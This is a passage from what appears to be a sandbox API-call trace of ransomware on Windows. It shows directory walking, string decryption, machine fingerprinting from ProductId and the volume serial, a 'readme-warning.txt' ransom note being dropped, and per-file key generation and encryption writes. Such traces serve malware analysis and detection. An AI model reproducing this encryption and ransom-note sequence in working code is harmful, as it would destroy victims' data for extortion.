ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0190.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0190.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0190.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0190.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0190.134] GetProcessHeap () returned 0x2ef0000 [0190.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.134] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0190.134] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.134] GetProcessHeap () returned 0x2ef0000 [0190.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.134] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0190.134] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.134] GetProcessHeap () returned 0x2ef0000 [0190.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0190.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.134] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dff0a8 | out: pbData=0x2f14588, pdwDataLen=0x4dff0a8) returned 1 [0190.135] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.135] GetProcessHeap () returned 0x2ef0000 [0190.135] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.135] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0190.135] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.135] GetProcessHeap () returned 0x2ef0000 [0190.135] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.135] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0190.135] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0x130) returned 0x0 [0190.135] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0190.135] RegCloseKey (hKey=0x130) returned 0x0 [0190.135] GetProcessHeap () returned 0x2ef0000 [0190.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.135] GetProcessHeap () returned 0x2ef0000 [0190.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.135] GetProcessHeap () returned 0x2ef0000 [0190.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.136] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.136] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0190.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.136] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.136] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.136] GetProcessHeap () returned 0x2ef0000 [0190.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.136] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.136] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.136] GetProcessHeap () returned 0x2ef0000 [0190.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0190.136] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt") returned 74 [0190.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0190.138] CloseHandle (hObject=0x130) returned 1 [0190.138] GetProcessHeap () returned 0x2ef0000 [0190.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.138] GetProcessHeap () returned 0x2ef0000 [0190.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.138] GetProcessHeap () returned 0x2ef0000 [0190.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.138] GetProcessHeap () returned 0x2ef0000 [0190.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.139] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.139] GetProcessHeap () returned 0x2ef0000 [0190.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.139] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0190.139] GetProcessHeap () returned 0x2ef0000 [0190.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7e) returned 0x2f123a0 [0190.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.139] GetProcessHeap () returned 0x2ef0000 [0190.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.140] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.140] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.140] GetProcessHeap () returned 0x2ef0000 [0190.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x280) returned 0x2f10788 [0190.140] GetProcessHeap () returned 0x2ef0000 [0190.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0190.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.142] GetProcessHeap () returned 0x2ef0000 [0190.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0190.142] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.142] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0190.142] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.142] GetProcessHeap () returned 0x2ef0000 [0190.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0190.142] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0190.142] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.142] GetProcessHeap () returned 0x2ef0000 [0190.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.142] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA", cAlternateFileName="")) returned 1 [0190.142] GetProcessHeap () returned 0x2ef0000 [0190.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x76) returned 0x2f09d00 [0190.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 1 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x278) returned 0x2f10788 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0190.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.144] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.144] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f16e68 [0190.144] GetProcessHeap () returned 0x2ef0000 [0190.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0190.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0190.146] GetProcessHeap () returned 0x2ef0000 [0190.146] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0190.146] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.146] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0190.146] GetProcessHeap () returned 0x2ef0000 [0190.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f14588 [0190.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.147] GetProcessHeap () returned 0x2ef0000 [0190.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.147] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.147] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x5, lpOverlapped=0x0) returned 1 [0190.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.150] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.150] GetProcessHeap () returned 0x2ef0000 [0190.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.150] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.150] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.150] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.150] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.150] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.150] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.150] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.150] 